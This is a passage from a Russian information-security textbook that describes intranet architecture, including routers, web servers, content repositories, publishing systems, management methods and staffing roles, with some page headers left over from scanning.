Поскольку маршрутизаторы проверяют все входящие пакеты, прежде, чем перенаправить их, они могут быть довольно просто сконфигурированы для отсеивания некоторых пакетов на основе определенной администратором базы правил. Таким образом, маршрутизаторы вносят свой вклад в реализацию политики и сервисов безопасности. Администратор может задать тип пропускаемых потоков данных и, следовательно, тип допустимых сервисов и приложений. Использование потенциально опасных сервисов может быть ограничено, что повышает защищенность границ сети. В современных маршрутизаторах реализованы развитые средства межсетевого экранирования. Подобные устройства эффективнее, проще в администрировании и экономичнее, чем межсетевые экраны (МЭ), установленные на специально выделенных хостах. С помощью маршрутизаторов можно организовывать подсети, полезные с точки зрения повышения управляемости и эффективности. Еще важнее то, что после создания подобных подсетей защитные средства современных маршрутизаторов могут предоставить или ограничить доступ к ресурсам, входящим в подсети, в соответствии с выбранной ПБ. Например, в случае отдела по работе с персоналом, конфиденциальная информация о сотрудниках может быть размещена на защищенном сервере в одной подсети, в то время как данные об имеющихся вакансиях выносятся в другую подсеть, открытую для всеобщего доступа. Маршрутизатор блокирует попытки неавторизованного доступа в подсети, защищая тем самым конфиденциальную информацию.
88
Информационная безопасность открытых систем
В интранете учитываются:
	подключения каждой рабочей станции на основе протокола IP (или кратко -IP-подключения);
•	IP-шлюзы;
	смешанное IP- и не IP-подключение рабочих станций;
•	возможность работы с мейнфреймами, которые снова активно используются в современных сетях.
Кроме того, применение IP требует соответствующих средств администрирования. Протокол динамической конфигурации хостов (Dynamic Host Configuration Protocol, DHCP), являющийся открытым промышленным стандартом, был разработан как средство динамического выделения хостам IP-адресов. Он упрощает управление IP-сетями, так как может быть использован для централизованного управления процессом настройки стека протоколов TCP/IP на клиентских машинах (например, адрес шлюза по умолчанию или адрес DNS-сервера).
Итак, сетевая инфраструктура интранета базируется :
1)	на каналообразующем оборудовании (маршрутизаторы, коммутаторы, концентраторы и т. п.) со средствами поддержки (это предмет отдельного обсуждения, не входящий в задачу данного учебника);
2)	внешних и внутренних веб-серверах (http);
3)	других внешних и внутренних серверах [административный, почтовый, доменной системы имен (Domain Name System, DNS), распределения нагрузки, директорий, обработки таксономий, локального и удаленного доступа, разнообразных БД (включая базы пользователей), наследуемых систем, зеркализовании и репликации, электронной коммерции и т. д.];
4)	клиентском обеспечении;
5)	средствах защиты типа МЭ (с возможностями кеширования информации на основе прокси-серверов).
Для большей наглядности на рис. 17 приведена более детальная расшифровка отдельных элементов сетевой инфраструктуры интранета. Реальная структура интранета должна отражать структуру организации, ее состав и подразделения. Для каждого подразделения должна быть при необходимости выделена своя подсеть, для которой определяются внутренние и внешние пользователи.
Информация чаше всего находится на компьютерах, которые называют вебсерверами. Веб-сервер в интранете является удобным и экономичным инструментом для публикации однократно составленных (в смысле основного "шаблона" вида документа, а не его конкретного наполнения, которое сегодня постоянно обновляется и динамически "подгружается" из баз данных в отведенные для этого поля шаблона) и многократно используемых документов (write-once, read-many) внутри организации, доступных любому пользователю с браузером. Сервер хранит документы и выполняет запросы пользователей о поиске и просмотре данных. В Интернете каждый веб-узел располагается на отдельном сервере, а сами серверы разбросаны по всему миру. В интранете корпоративная информация может находиться на одном или нескольких серверах, расположенных по всей организации. Веб-сервер может также предоставлять доступ к информации, хранящейся на других типах серверов. Например, он может быть объединен с серверами БД, электронной почты или источником данных на мейнфрейме.
2. Интранет как открытая система
89
Рис. 17. Пример сетевой инфраструктуры интранета
Узлы второго типа содержат совместно используемые группой страницы, предоставляющие доступ к общим и групповым сервисам и являющиеся местом для общения с группой.
Централизованный узел выполняет более глобальные задачи в рамках интранета:
	позволяет за счет централизации осуществлять более удобное сопровождение (своевременное и быстрое обновление информации, ее многократное использование, сокращение времени доступа к информации и т. п.);
	согласовывает навигацию всех пользователей интранета;
	предоставляет удобную связь с пользователями;
	поддерживает простой запуск и последующее использование веб-средств;
	является основными воротами для перехода на другие узлы.
Вот некоторые вопросы, которые помогут оценить эффективность узлов интранета.
1.	Были ли при создании узла компании учтены мнения и нужды сотрудников?
2.	Понимаете ли вы, как интранет может помочь сотрудникам и другим менеджерам выполнять их работу более эффективно?
3.	На основании чего разрабатывалась архитектура узла? Была ли она проверена? Соответствует ли она интуиции пользователя?
4.	Каков контент узла? Заметит ли кто-то, если вы уберете какую-то его часть? Каковы критерии отбора материала для контента?
5.	Насколько велика статистика посещений узла? Следит ли за ней кто-нибудь? Влияет ли она на отбор материала для контента узла?
90
Информационная безопасность открытых систем
6.	Привлекателен ли дизайн узла? Нравится ли он сотрудникам?
7.	Поддерживает ли узел брэнд компании? (брэнд - это не только логотип компании, но и то впечатление, которое остается у клиента после контакта с компанией).
8.	Доступен ли узел со всех компьютеров в компании? Может ли сотрудник зайти на него, когда он дома?
9.	Насколько узел эффективен? Могут ли сотрудники найти нужную информацию максимально быстро?
10.	Какое место интранет занимает в рекламе компании? Как элементы этой системы поддерживают друг друга?
В сетевой инфраструктуре интранета важна поддержка следующих возможностей:  простота инсталляции;
	функциональность;
	простая интеграция в существующие в системе сервисы;
•	возможность применения того, что в организации уже знают и имеют;
	масштабируемость;
	работа со средствами третьих фирм.
И еще одно важное замечание. Прогнозируемый при развертывании интранета трафик может не создавать проблем. Но надо быть готовым к тому, что развитие интранета постепенно приведет к возникновению подобных проблем. Проектируемая изначально сетевая инфраструктура должна учитывать это обстоятельство.
Информационное наполнение
Главная цель интранета заключается в том, чтобы стать доверенным средством ведения бизнеса. Этого не произойдет, если для доступа пользователей открыта лишь небольшая часть ее информационного наполнения или доступная информация вообще устарела. Ведь не зря считается, что чем больше серверов и информации в интранете, тем она ценнее. Пользователь получает эту информацию через веб-узлы. Современные узлы интранет представлены динамическими веб-страницами, формируемыми специальными средствами на основе взаимодействия с БД интранета или с другими допустимыми источниками.
Информация в интранете, хранимая в виде структурированных или неструктурированных данных, может поступать как из внутренних, так и из внешних источников (рис. 18).
Примерами внешней информации являются внешние веб-архивы (например, с внешнего веб-узла организации), сведения, необходимые сотрудникам организации для осуществления их функций, получаемые из различных внешних источников, например котировки валют, прогноз погоды, географические карты, расписания авиаперелетов и т. п., а также информация для клиентов компании (например, пресс-релизы, каталоги, руководства, справочники, прайс-листы, заказ продуктов и услуг, вопросы и ответы). Внутренняя информация интранета предназначена для служащих организации и состоит из новостей компании, систематизированных библиотек хранимых документов и документаций, финансовых данных, информации отдела кадров, описаний проектов и отчетов, маркетинговых исследований, расписаний курсов повышения квалификации и учебных материалов, ссылок на различные источники и т. п.
2. Интранет как открытая система
91
external information
Внешняя информация external Web archives
Рис. 18. Информационное наполнение интранета
Содержимое интранета, т. е. его информационное наполнение, хранится в документах. По умолчанию они имеют формат HTML (Hypertext Makeup Language). Язык разметки документов, каким и является HTML, - это набор специальных инструкций, называемых тегами, предназначенных для формирования в документах какой-либо структуры и определения отношений между различными элементами этой структуры. Теги языка (или, как их иногда называют, управляющие дескрипторы) в таких документах каким-то образом кодируются, выделяются относительно основного содержимого документа и служат в качестве инструкций для программы, производящей показ содержимого документа на стороне клиента. Использование гипертекстовой разбивки текстового документа в современных ИС во многом связано с тем, что гипертекст позволяет создавать механизм нелинейного просмотра информации. В таких системах данные представляются не в виде непрерывного потока текстовой информации, а набором взаимосвязанных компонентов, переход по которым осуществляется при помощи гиперссылок. Самый популярный на сегодняшний день язык гипертекстовой разметки - HTML.
	Документы HTML имеют небольшие размеры, что облегчает их передачу по сети.
	Язык HTML является текстовым и не зависит от какой-либо платформы, так что серверы и клиенты могут быть установлены на любых компьютерных платформах.
	Формат HTML является более или менее открытым стандартом, и средства разработки для него создаются множеством компаний.
На смену HTML приходит новый язык гипертекстовой разметки, мощный, гибкий и одновременно с этим удобный, - XML (Extensible Markup Language). Он описывает целый класс объектов данных, называемых XML-документами. Этот язык используется в качестве средства для описания грамматики других языков и контроля за правильностью составления документов. То есть сам по себе XML не содержит никаких тегов, предназначенных для разметки, он просто определяет порядок их создания. Таким образом, у разработчиков появляется уникальная возможность определять собственные команды, позволяющие им наиболее эффективно находить данные, содержащиеся в документе. Автор документа создает его структуру, строит необходимые связи между элементами, используя те команды, которые удовлетворяют его требованиям, и добивается такого типа разметки, который необходим ему для вы
92
Информационная безопасность открытых систем
полнения операций просмотра, поиска и анализа документа. Еще одним из очевидных достоинств XML является возможность использования его в качестве универсального языка запросов к хранилищам информации. XML-документы могут выступать в качестве уникального способа хранения данных, который включает в себя одновременно средства для разбора информации и представления ее на стороне клиента. XML позволяет также осуществлять контроль за корректностью данных, хранящихся в документах, производить проверки иерархических соотношений внутри документа и устанавливать единый стандарт на структуру документов, содержимым которых могут быть самые различные данные. Это означает, что его можно использовать при построении сложных информационных систем типа интранета, в которых очень важным является вопрос обмена информацией между различными приложениями, работающими в одной системе.
Хотя гипертекстовые документы являются ключевым компонентом любого интранета, документы других типов также могут играть в нем важную роль. Здесь стоит упомянуть возможность работы с различной мультимедиаинформацией.
Все информационное богатство интранета в виде метаданных находится в информационном хранилище, или репозитории [27]. Термин "мета" (meta) появился из греческого слова, которое означает "рядом, с, после, следующий". Более позднее латинское и английское употребление использует термин "мета” для определения чего-то абстрактного или сверхъестественного. Метаданные, кроме того, могут быть интерпретированы как данные о других данных. Это термин века Интернета, определяющий информацию, которую традиционно организуют в виде каталогов и которая чаще всего используется для описания веб-ресурсов. В книге "Хранилище данных" Дон Майер (Don Mayer) и Кейси Кэнон (Casey Canon) делят метаданные на две категории: технические и коммерческие. Техническими метаданными пользуются программы управления хранилищами и администраторы. Эти метаданные определяют содержание данных в прежних системах-источниках, сообщают, какая обработка была произведена в хранилище (извлечение, преобразование, очистка, интеграция, обновление графиков управления процессами). Коммерческие метаданные позволяют нетехническим пользователям просматривать содержимое хранилища, таблицы и графики, которые являются элементами информации; определяют, как могут быть использованы эти элементы и насколько актуальны резидентные данные. Большинство коммерческих метаданных сопровождается описанием содержания, в интранете используются оба этих типа метаданных.
В общем случае метаданные помещаются в централизованно управляемый репозиторий, в который включается информация о структуре данных хранилища, структурах данных, импортируемых из различных источников, о самих источниках, методах загрузки и агрегирования данных, сведения о средствах доступа, а также бизнес-правилах оценки и предоставления информации. Там же содержится информация о структуре бизнес-понятий. Так, клиенты могут подразделяться на кредитоспособных и некредитоспособных, на имеющих или не имеющих льготы, они могут быть сгруппированы по возрастному признаку, по месту проживания и т. п. Как следствие, появляются новые бизнес-понятия: "постоянный клиент", "перспективный клиент" и т. п. Некоторые бизнес-понятия (соответствующие измерениям в хранилище данных) образуют иерархии, например, "товар" может включать "продукты питания"
2. Интранет как открытая система
93
и "лекарственные препараты", которые, в свою очередь, подразделяются на группы продуктов и лекарств и т. д.
Широко известны репозитории, входящие в состав популярных CASE-средств [Power Designer (Sybase), Designer 2000 (Oracle), Silverrun (CSA Research)], систем разработки приложений [Developer 2000 (Oracle), Power Builder (Sybase)], администрирования и поддержки ИС (Platinum, MSP). Все они, однако, решают частные задачи, работая с ограниченным набором метаданных, и предназначены в основном для облегчения труда профессионалов - проектировщиков, разработчиков и администраторов ИС. Репозиторий метаданных предназначен не только для профессионалов, но и для пользователей, которым он служит в качестве поддержки при формировании бизнес-запросов. Более того, развитая система управления метаданными должна обеспечивать возможность управления бизнес-понятиями со стороны пользователей, которые могут изменять содержание метаданных и образовывать новые понятия по мере развития бизнеса. Когда структура метаданных разработана и система управления ими спроектирована, решается задача заполнения и обновления данных в репозитории.
Репозиторий должен поддерживать быстрый доступ к информации. Большинство серверов хранилищ загружает часть репозитория в память, но для больших объемов данных требуется быстрый доступ и к устройствам постоянного хранения. Есть несколько различных стратегий хранения данных. В них входят хранение информации репозитория в реляционной БД, хранение ее в собственном репозитории с памятью на дисках и комбинация этих двух способов.
В качестве хранилищ информации чаще всего выступают реляционные СУБД типа Oracle, Informix, Sybase и т. п. Эти хранилища представляют собой доверенную централизованную базу, содержащую совместно используемую внутри организации информацию и предоставляющую доступ ко всем корпоративным данным. Способ и средства извлечения информации из репозитория зависят от того, где и в каком виде (открытом, зашифрованном, заархивированном) она хранится. Эти средства нуждаются в постоянной поддержке и обновлении, поскольку в их функции входит предоставление различных уровней защиты, фильтрация и ежедневное пополнение информации из многочисленных источников.
Информацию в репозитории проще хранить в виде взаимосвязанных БД, так как ими проще управлять, чем большим количеством полностью хранимых веб-страниц. Кроме того, использование БД упрощает управление контентом. На основе содержимого БД можно создавать требуемые веб-страницы. Но для поиска информации в БД потребуются иные поисковые механизмы, а не те, которые создавались под вебтехнологии.
Основными стратегиями для репозитория являются:
	управление БД;
	поддержка различных источников информации;
	конвертирование информации;
	архивирование информации;
	обеспечение ее ИБ (например, за счет применения средств шифрования), как одной из важнейших потребностей бизнеса;
	"распределение" источников по целям (например, внутренние, внешние, партнеры...).
94
Информационная безопасность открытых систем
Отдельно выделим, какими средствами обеспечивается в репозитории доступ к БД.
	Чаще всего посредством скриптов CGI, каждый из которых соответствует отдельному запросу на извлечение требуемой информации из БД.
	Через специфичные для различных серверов интерфейсы прикладного программирования API, которые хорошо согласуются с архитектурой сервера, осуществляют надежную и устойчивую обработку данных и отличаются большой производительностью (примеры интерфейсов - NSAPI, ISAPI, CAPI, WSAPI и т. п.).
	Возможен прямой доступ к БД, когда в один отдельно взятый момент времени осуществляется обращение только к одной БД.
	Через открытый интерфейс взаимодействия с БД (Open DataBase Connectivity, ODBC), который позволяет осуществлять доступ сразу к нескольким БД.
	Через интерфейс взаимодействия с БД на языке Java (Java Database Connectivity, JDBC).
Также очень часто требуется организация доступа к наследуемой информации, сохранившейся от ранее созданных в организации ИС. Решение здесь достаточно простое: или преобразование терминальных приложений в гипертекст "на лету", или установление терминальных сессий с веб-страницей, или использование серверов приложений, выступающих в качестве посредников в передаче информации между веб-сервером и приложением.
Единственная проблема, которая может возникнуть, - это необходимость обеспечения надежности устанавливаемых сессий.
Ранее уже отмечалось, что интранет является гетерогенной средой, в которой представлены различные средства. Это же правомерно отметить и для информационного его наполнения. Поэтому обязательно требуется осуществить интеграцию подобных средств в существующую прикладную среду интранета. Есть различные системы, позволяющие это сделать (прил. 1), например, HahtSite (фирмы НАНТ Software) [http://www.haht.com] извлекает информацию из существующих БД, разработки фирмы Edify [http://edify.com] и т. п.
Кроме того, обязательно потребуются системы управления документами, или системы электронного документооборота (типа DOCSFusion фирмы Hummingbird).
В заключение данного подраздела отметим самые важные требования к информационному наполнению интранета.
	Быстрый доступ к ключевой информации.
	Актуальность и достоверность информации.
	Легкий поиск информации.
	Знание владельцев информации и контроль за этим.
Приложения
Кроме разнообразного сетевого оборудования, интранет обязательно включает и ряд приложений - программных компонентов, предназначенных для обеспечения решения задач бизнеса организации. Приложения интранета делятся на несколько групп [22]:
	базовые, предоставляемые интранет в качестве стандартных средств: клиент-серверное обеспечение, электронная почта, стандартное и групповое ПО, телеконференции, компьютерная телефония, хранение и совместное использование информации, навигация и поиск, справочники, электронный документооборот;
2. Интранет как открытая система
95
	приложения, поставляемые независимыми производителями ПО;
	приложения, разрабатываемые специально для нужд каждой организации: базы и хранилища данных со средствами доступа к ним, работа с контентом (управление контентом, карты информации, средства поддержки принятия решений, фильтрация контента, механизмы индексации, сохранение контента и т. п.), корпоративные стандарты, исследования, проекты, продажи и маркетинг, кадровые и финансовые приложения, взаимодействие с партнерами и поставщиками;
	шлюзы приложений, осуществляющие доступ к наследуемым системам, хранилищам данных, сервисам, средствам управления и т. п.
Отличительной особенностью этих приложений должна быть высокая производительность, что особенно важно при наличии большого числа пользователей и обработки больших информационных массивов.
Для работы в интранете и просмотра документов, хранящихся на серверах, применяют клиентские приложения, называемые браузерами. Они выполняют несколько функций:
	поиск информации и подключение к веб-серверу;
	загрузку, форматирование и вывод на экран документов на языке гипертекста;
	распознавание гиперссылок и переход к соответствующим документам;
	обеспечение таких стандартных средств работы, как кнопки Back (Назад) и Next (Далее), папки Favorites (Избранное) и History (Журнал).
Помимо основных функций, браузер также может выводить такие элементы мультимедиа, как звук, видео или трехмерное изображение. Браузер также поддерживает использование управляющих элементов, что существенно расширяет его возможности.
Существует множество средств, предназначенных для написания приложений для интранета (в первую очередь для разработки веб-приложений). Они включают управляющие элементы, сценарии и серверные компоненты. Управляющие элементы являются частью приложений, которые могут выполняться в браузере. Расширяя возможности последнего, они позволяют использовать решения, по природе более близкие к обычным приложениям, не ограничиваясь функциями просмотра документов. Такие управляющие элементы создаются с помощью языков C++, Java, Microsoft Visual Basic. После написания их помещают прямо в гипертекстовые документы. Языки сценариев прочно связаны с управляющими элементами и используются для управления последними или для динамического изменения содержания документа. Это простые языки программирования, способные взаимодействовать с управляющими элементами, реагировать на события и работать с БД на сервере. Microsoft Visual Basic Scripting Edition (VBScript) и JavaScript являются примерами таких языков. Сценарии тоже помещаются в гипертекстовые документы и могут выполняться как на сервере, так и в браузере. Очень часто используемым подходом являются скрипты. Но, как и все в компьютерном мире, средства разработки приложений развиваются очень стремительно и на рынке появляются все новые и новые продукты, которые сначала дополняют, а потом и вытесняют устаревшие.
Система публикации информации
Система публикации преследует очень важную цель - дать возможность и средства интерактивно, быстро и легко создавать и автоматически обновлять различные
96
Информационная безопасность открытых систем
веб-узлы и публиковать на них имеющуюся у владельцев информацию. При выборе и реализации системы публикации информации в первую очередь требуется ответить на некоторые "трудные" вопросы. Кто владеет информацией? Что можно публиковать? Кто управляет процессом публикации? Как узнать, что опубликованная информация "свежая"? Что делать, если интерес к публикациям будет потерян?
К системе веб-публикации относятся средства, процессы, шаблоны для создания и обновления новых информационных веб-узлов, средства совместного использования информации и стандарты реализации. Вот лишь начальный состав простейшей системы публикации, который потом по мере необходимости будет расширяться: гипертекстовые редакторы; гипертекстовые шаблоны; конверторы; Java-апплеты (описания процессов); связи с веб-архивами; поисковые механизмы (с путеводителями); формы для обратной связи; шаблоны; средства помощи (графика, коды и т. п.).
Такие средства должны позволять:
	создавать тематические категории;
	работать с поисковыми системами;
	публиковать материалы различного объема, с системой комментариев к каждой публикации;
	осуществлять поддержку авторских профайлов (можно зарегистрировать постоянных авторов в системе, и в дальнейшем все их публикации будут сопровождаться такими авторскими атрибутами (все они необязательны), как подпись, фото и имя автора, адрес его электронной почты и т. д.;
	предоставлять возможность выбора режима работы системы: статический (создаются статические страницы для каждой публикации) или динамический (все генерируется системой на лету, в момент запроса страницы пользователем);
	оптимизировать публикации для поисковых систем: индивидуальный титул, метаописания, ключевые слова для индексации каждой публикации;
	поддерживать нескольких шаблонов для каждой тематической категории;
	осуществлять полный контроль внешнего вида публикации;
	иметь версию для печати и отправки публикации по запросу по электронной почте;
	загружать файлы (в том числе картинки, фото и т. п.) через WWW;
	подключать необходимые интерпретаторы языков программирования (типа РНР, ASP и т. п.);
	предоставлять удобный интерфейс для пользователей и администратора.
Какие средства для подготовки публикаций сегодня доступны на рынке? В первую очередь это средства для авторов (authoring tools), которые не требуют от них знания специальных языков для гипертекстового представления информации. Microsoft Word, Microsoft Powerpoint позволяют автоматически конвертировать документы в веб-формат. Некоторые современные системы объединяют веб-средства и средства рабочего стола (примеров много - Lotus SmartSuite, Internet Assistants для Excel, Powerpoint и Word, средства просмотра документов Word и Excel, PerfectOffice, WordPerfect, Quattro Pro и т. д.). Простое в использовании средство - HTML Transit преобразует многие форматы документов в гипертекст, таблицы и фреймы. Другая известная система "Domino" позволяет хранить контент и управлять им, имеет сервис директорий и преобразует контент (Notes -> HTML) на лету.
2. Интранет как открытая система
97
Доступны сложные средства с контролем и синхронизацией версий, поддержкой совместного авторства при работе над одним и тем же документом, с возможностью согласования и утверждения документов, их редактирования в простом браузере, а также подсистемами аудита. Это, например, продукт MKS Web Integrity [http://www.mks.com/solution/wi/] и средство совместной работы для Интернет-разработчиков Wallop’s Build-IT [http://www.wallop.com].
В данной категории систем можно упомянуть и средства для создания частей или даже целых веб-узлов, начиная от простейших типа HomeSite, QuickSite, Fusion, Frontpage, InterDev и кончая системами для профессионалов (прил. 1). Все эти средства имеют готовые шаблоны и коллекцию различных стилей.
Простое перечисление систем для подготовки публикаций позволяет понять одну важную проблему — систем на рынке много, их стандартизировать довольно сложно. Поэтому целесообразно заняться стандартизацией контента, а не средств его создания.
Также требуется, чтобы у издателей или простых пользователей интранета под рукой всегда были легкие и удобные в применении средства для представления или конвертирования информации в нужный формат, а также для их добавления к информационным хранилищам интранета. Кроме того, издатели должны знать все применимые в их интранете корпоративные форматы. Отметим, что для исполнения этих новых функций по изданию публикаций для интранета потребуется специально обученный персонал.
Управление интранетом
Каждая информационная технология поддерживает определенные методы управления. Метод управления определяет то, на что и как надо воздействовать управляющему для достижения ожидаемых результатов бизнеса.
Как только интранет появилась в организации, возникает ряд начальных проблем управления: управлять организационно и технически; осуществлять мониторинг работы интранета; адаптировать его к реальным условиям работы; заинтересовывать пользователей, показывать им преимущества интранета и добиваться поддержки со стороны всех служащих; реализовывать механизмы для его широкого использования. После начального периода эксплуатации интранета проблемы управления заметно усложняются и включают следующие действия: постоянное планирование и выделение основных направлений развития; поддержка; финансирование; внедрение новых технологий; совершенствование и расширение инфраструктуры и сервисов; постоянное обучение пользователей и персонала. При этом управление интранетом является многофункциональным и распределенным, с постоянной потребностью в координации всех действий и разрешении сложностей, возникающих при определении зон ответственности.
Традиционные подходы к построению ИС предполагают создание приложений под названием "автоматизированное рабочее место руководителя", реализующих ограниченный набор функций управления документами, контроля исполнения и т. д., т. е. ставят руководителя организации в весьма жесткие рамки. Как правило, такие приложения обладают массой недостатков, сложны, неудобны в использовании, требуют обучения и реально на практике руководителями не применяются. Причина неуспеха такого подхода - функциональная ограниченность и неестественный интерфейс. Руководитель современной организации - человек занятой. Он не может тра
4—2368
98
Информационная безопасность открытых систем
тить время на освоение сложностей работы с тем или иным приложением. С другой стороны, руководителю все же необходимо иметь адекватную и всеобъемлющую информацию о деятельности организации, чтобы в любой момент времени представлять, что же все-таки в ней происходит. Для решения этой задачи идеально подходит технология интранета. Не требуется практически никаких знаний о специфике работы приложения (так как самого-то приложения и нет - работа ведется с навигатором). Достаточно касания курсором мыши нужных ссылок и нажатия одной кнопки. В то же время спектр информации, предоставляемой руководителю, практически ничем не ограничен. Он не ограничен возможностями навигатора (поскольку навигатор лишь средство доступа к информации). Он никак не ограничен техническими возможностями веб-сервера. Вся информация, генерируемая в данной организации, может стать доступной для руководителя (разумеется, в концентрированном и сжатом виде). Для этого нужно только правильно спроектировать и подготовить содержание информационного сервера.
Управление интранетом осуществляется по нескольким основным направлениям:
	организационная и техническая поддержка и финансирование существующей инфраструктуры;
	интеграция и обновление информационных и сетевых ресурсов;
	реализация и обновление ПБ, регламентов и стандартов;
	работа с персоналом и пользователями (обучение новым знаниям в области информационных и сетевых технологий и обучение вопросам ИБ);
	планирование развития инфраструктуры, сервисов и механизмов и внедрение новых технологий, которые нужно отслеживать и оценивать перед выбором.
Как и в любом другом деле, при создании интранета начать не так сложно, как сложно правильно продолжить. Это означает реализацию целого спектра каждодневных мероприятий, включающих:
	постоянное сопровождение;
	управление средой, включая мониторинг серверов и взаимодействия клиент-сервер, в том числе удаленный;
	необходимость постоянного внесения изменений;
	работа в условиях многоплатформенности и многосистемности;
	решение вопросов полосы пропускания и качества обслуживания;
	хранение огромных информационных массивов (тысячи и тысячи документов в разных форматах);
	решение проблем переполнения информацией и уничтожения (или архивирования) устаревшей информации;
	поддержка издательской деятельности;
	работы по реализации масштабируемости;
	привлечение высококвалифицированных специалистов;
•	обучение и постоянная поддержка большого числа пользователей;
	обеспечение ИБ;
	постоянное финансирование.
Подчеркнем особо, что для управления интранетом важно определить, утвердить, реализовывать и проводить постоянный аудит политик доступа, опубликования, контента и безопасности. Политика доступа регламентирует, например, такие вопросы, как что и когда может быть доступно; сами виды доступа и способы их поддержки;
2. Интранет как открытая система
99
наличие ресурсов без ограничений доступа; доступ бизнес-партнеров и многое другое. Политика опубликования указывает, кто может создавать веб-узлы, кто за это отвечает и степень ответственности (подотчетности). Политика в отношении контента определяет тех, кто его может создавать, как обеспечивается актуальность этого контента, как проверяется его целостность и т. п. ПБ описывает и классифицирует по степени секретности защищаемые ресурсы, доступ к ним для различных категорий пользователей (трастовые модели), угрозы безопасности и возможные риски, меры и средства защиты, способы аудита, ответственность за нарушение политики и т. п. (см. п. 5.5).
Можно выделить следующие три большие группы методов управления ресурсами, процессами и корпоративными знаниями (коммуникациями) [23]. (Специфику метода управления можно также определить способами представления корпоративных знаний на уровне прикладных моделей и на уровне универсальных языков представления.)
Модель первой группы методов представляет организацию как систему ресурсов (финансов, материальных запасов, кадров), принадлежащих владельцам - юридическим лицам, структурным подразделениям, физическим лицам. Все процессы описываются как проводки, отражающие перемещение ресурсов между владельцами. К первой группе можно отнести управление финансами, материальными запасами, кадрами в той степени, в которой они рассматриваются как ресурс (заработная плата). Основная цель управления для этого метода - обеспечение ресурсами и контроль за ними. Метод управления хорошо описывается моделями, ставшими стандартами: модель бухгалтерского учета (например, GAAP), планирование производственных ресурсов (MRP II), планирование всех ресурсов предприятия (ERP). В качестве универсального языка представления используются балансовые модели с языком проводок. Методы этой группы поддерживаются широким спектром прикладного ПО, при этом наиболее распространены бухгалтерские системы. В наибольшей степени к поддержке данного метода управления тяготеют СУБД.
Вторая группа представляет организацию как систему бизнес-процессов. Здесь центральными понятиями выступают процесс, функция, данные, событие. Основная цель управления для этих методов - обеспечение координации событий и функций. Ко второй группе можно отнести такие методы, как управление качеством (TQM -стандарт IS09000), управление процессами (Workflow - стандарты ассоциации Workflow Management Coalition). К этой же группе можно отнести управление проектами (семейство стандартов PMI), но лишь в той степени, в какой эти проекты можно считать типовыми, сведенными до уровня технологии. В качестве универсального языка представления описания используются формальные языки, многие из которых зафиксированы как стандарты: языки семейства IDEF, CIM-OSA, языки описания объектно-ориентированных моделей. Методы управления поддерживаются ПО, которое известно как системы управления проектами, документооборотом, технологическими процессами.
Третья группа представляет организацию как систему небольших коллективов сотрудников, решающих общую задачу, а в роли организующих факторов выступают корпоративные знания и эффективные коммуникации. Главным корпоративным ресурсом управления становится база корпоративных знаний, в которой сотрудники могут быстро найти информацию для принятия правильного решения и понимания друг друга. Эта база концентрирует в себе коллективный опыт компании и создает
100
Информационная безопасность открытых систем
контекст корпоративных коммуникаций. Основная цель управления - обеспечение координации, коммуникации и быстрого поиска информации для самостоятельного принятия решения. Эта группа методов управления сейчас переживает период бурного развития и получила общее название управление знаниями (Knowledge Management). О стандартах на уровне моделей говорить пока еще рано. Хотя в области универсальных языков описания наметились некоторые тенденции. Для структурирования информации начинает активно применяться язык SGML, который зафиксирован как стандарт ISO 8879. К этой группе методов также относятся методы управления сложными нестандартными проектами (семейство стандартов PMI). В таких проектах критическим фактором управления являются проектные коммуникации и квалификационный уровень проектной группы. Методы управления поддерживаются программными средствами класса группового обеспечения, информационнопоисковыми системами, интранет-технологиями: веб-технологией, электронной почтой, телеконференциями. Системы, обеспечивающие работу коллективов пользователей, послужили отправной точкой технологии интранета. Далеко не случайно лидеры рынка ПО этого класса стали ведущими производителями интранет-систем: Lotus, Microsoft, Novell. Наряду с перечисленными производителями прочное место на этом рынке заняли Netscape и Oracle.
У каждого метода управления есть своя область эффективности, но бывают случаи, когда внедрение одного метода просто невозможно без использования другого. Например, попытки внедрения системы управления качеством (TQM) на американских предприятиях заканчивались неудачей до тех пор, пока не была осознана необходимость управления корпоративной культурой. Если сотрудники не образуют сплоченный коллектив, в котором все проблемы (отклонения от технологии) быстро находят решение, TQM просто не будет работать. Японцы для управления первоначально использовали не ИТ, а социальные и организационные механизмы (кружки качества), хорошую внутрикорпоративную связь, единое описание всех видов деятельности компании (тотальное документирование). Появление интранета придало TQM совершенно новое качество. Не случайно многие западные компании, внедрившие у себя интранет, вскоре внедрили и TQM и прошли сертификацию по стандарту IS09000.
И о финансировании интранета. Существует несколько основных моделей финансирования интранета за счет бизнеса. Во-первых, затраты на интранет могут стать отдельной статьей расходов. Иное дело, когда она поддерживается из сэкономленных средств. И совсем иной способ финансирования за счет накладных расходов или из прибыли. И все же реальность такова: наибольшие расходы идут на сопровождение и расширение интранета, а не на его начальное развертывание. К этому нужно быть готовыми при принятии решения о его создании в организации.
Персонал
Для сопровождения интранета и его дальнейшего развития и совершенствования требуется новый персонал, предполагающий введение в организации ряда новых должностей (рис. 19) [24]: веб-совет во главе с основным руководителем, решающий все вопросы развития и использования интранета, веб-мастер (возможно целое подразделение с руководителем и несколькими исполнителями), издатели, несколько рабочих групп (техническая группа, группа поддержки сервисов, веб-разработчики) и т. п. Специфика введения этих новых должностей полностью зависит от фирмы -ее культуры, потребностей, текущего состояния.
2. Интранет как открытая система
101
В круг обязанностей издателя контента входит публикация информации в интранете. Именно он несет всю ответственность за ее точность, актуальность и соответствие политике безопасности.
Рис. 19. Новые должности и интранет
"Привратник" отвечает за интеграцию и сопровождение информации, публикуемой в интранете, осуществляя техническое управление, управление контентом, участвует в определении ПБ ресурсов интранета и реализации мер их защиты.
От веб-мастера требуются значительные знания и навыки по работе с интранетом:
	веб-мастер в одном лице — миссионер, проповедник, технолог, менеджер проектов, учитывающий общественное мнение, осуществляющий обучение и руководство;
	у него в подчинении должна быть многофункциональная рабочая группа;
	он осуществляет интеграцию новой информации и приложений с уже существующими в организации информационными системами и ресурсами;
	он должен быть высококвалифицированным специалистом с широким кругозором в области информационных и сетевых технологий, постоянно повышающим свой профессиональный уровень.
Информационный архитектор наделен более глобальными функциями - он определяет и корректирует информационную стратегию для интранета.
Прежде чем создавать штат таких сотрудников, рекомендуется изучить, что делают в аналогичной ситуации другие компании.
Как правило, работать в развертываемом интранете начинает группа пионеров. Но их опыта и знаний не всегда достаточно на следующей стадии, когда в связи с ростом объема работ появляется потребность в узкой специализации персонала. С точки зрения безопасности "вырастить" свой персонал для поддержки интранета лучше, чем привлекать сторонних консультантов.
2.1.4.	Виды интранета
Выделяют четыре основных вида интранета [18].
